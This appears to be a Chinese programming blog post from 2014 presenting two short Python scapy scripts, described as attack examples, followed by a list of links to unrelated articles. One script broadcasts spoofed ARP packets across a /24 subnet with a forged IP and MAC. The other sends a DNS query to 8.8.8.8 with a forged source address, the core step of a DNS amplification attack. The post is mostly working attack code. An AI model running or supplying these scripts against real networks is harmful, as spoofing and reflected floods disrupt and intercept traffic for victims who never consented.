Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python封装对象实现时间效果
Apr 23 Python
Python中用sleep()方法操作时间的教程
May 22 Python
在Django的上下文中设置变量的方法
Jul 20 Python
Python3实现的字典、列表和json对象互转功能示例
May 22 Python
浅谈Tensorflow由于版本问题出现的几种错误及解决方法
Jun 13 Python
Python字符串、整数、和浮点型数相互转换实例
Aug 04 Python
python 批量解压压缩文件的实例代码
Jun 27 Python
Python中拆分字符串的操作方法
Jul 23 Python
在keras中实现查看其训练loss值
Jun 16 Python
python 如何区分return和yield
Sep 22 Python
Opencv python 图片生成视频的方法示例
Nov 18 Python
让你相见恨晚的十个Python骚操作
Nov 18 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
用PHP获取Google AJAX Search API 数据的代码
2010/03/12 PHP
php gd2 上传图片/文字水印/图片水印/等比例缩略图/实现代码
2010/05/15 PHP
PHP使用pear自带的mail类库发邮件的方法
2015/07/08 PHP
PHP实现发送微博消息功能完整示例
2019/12/04 PHP
node.js中的fs.readlinkSync方法使用说明
2014/12/17 Javascript
JavaScript实现在标题栏上显示当前日期的方法
2015/03/19 Javascript
JavaScript 常见安全漏洞和自动化检测技术
2015/08/21 Javascript
基于jquery实现百度新闻导航菜单滑动动画
2016/03/15 Javascript
Jquery揭秘系列:ajax原生js实现详解(推荐)
2016/06/08 Javascript
js 动态生成html 触发事件传参字符转义的实例
2017/02/14 Javascript
Vue实现点击时间获取时间段查询功能
2020/08/21 Javascript
详解Angular5路由传值方式及其相关问题
2018/04/28 Javascript
vue树形结构获取键值的方法示例
2018/06/21 Javascript
Vue 中的受控与非受控组件的实现
2018/12/17 Javascript
微信小程序websocket聊天室的实现示例代码
2019/02/12 Javascript
微信小程序云函数添加数据到数据库的方法
2020/03/04 Javascript
vue v-model的用法解析
2020/10/19 Javascript
TensorFlow平台下Python实现神经网络
2018/03/10 Python
Django管理员账号和密码忘记的完美解决方法
2018/12/06 Python
python 获取当前目录下的文件目录和文件名实例代码详解
2020/03/10 Python
python检查目录文件权限并修改目录文件权限的操作
2020/03/11 Python
Python 线性回归分析以及评价指标详解
2020/04/02 Python
Pytest测试框架基本使用方法详解
2020/11/25 Python
CSS3图片旋转特效(360/60/-360度)
2013/10/10 HTML / CSS
HTML5+CSS3应用详解
2014/02/24 HTML / CSS
耐克巴西官方网站:Nike巴西
2016/08/14 全球购物
惠普墨西哥官方商店:HP墨西哥
2016/12/01 全球购物
从当地商店送来的杂货:Instacart
2018/08/19 全球购物
波兰在线儿童和婴儿用品零售商:pinkorblue
2019/06/29 全球购物
在什么时候需要使用"常引用"
2015/12/31 面试题
小学生自我评价范文
2014/01/25 职场文书
中文师范生自荐信
2014/01/30 职场文书
三好生演讲稿
2014/09/12 职场文书
2014年安全员工作总结
2014/11/13 职场文书
2014年煤矿安全工作总结
2014/12/04 职场文书
怎样写好工作计划
2019/04/10 职场文书